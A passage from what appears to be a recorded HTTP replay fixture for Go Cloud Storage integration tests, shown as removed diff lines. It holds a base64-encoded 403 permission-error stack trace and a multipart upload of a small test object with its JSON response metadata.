2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLmdldChCdWNrZXRzRGVsZWdhdG9yLmphdmE6ODMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkdldEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0QnVja2V0LmphdmE6MTA0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuR2V0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRCdWNrZXQuamF2YTozMylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5nZXQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjgzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkdldEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0QnVja2V0LmphdmE6MTA0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuR2V0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRCdWNrZXQuamF2YTozMylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5nZXQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjgzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "d2e66ae2cc0d11bc", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoiZm9vIn0K", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3133" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:50 GMT" - ], - "Etag": [ - "COq52NHx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqQ_qlqWPPh6t8-gwPlD5zRB96zsmFgzyez4LG3XN4uErivnyHcCeeHje_i95VLJcWYXn7_-knEn0faPBCCAIStf4fXGs_Lz_VzHK6CLBZjU-oBxcU" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MDI0MDc0NiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MDI0MDc0NiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo1MC4yNDBaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NTAuMjQwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjUwLjI0MFoiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTg5MDI0MDc0NiZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MDI0MDc0Ni9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkwMjQwNzQ2IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNPcTUyTkh4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIw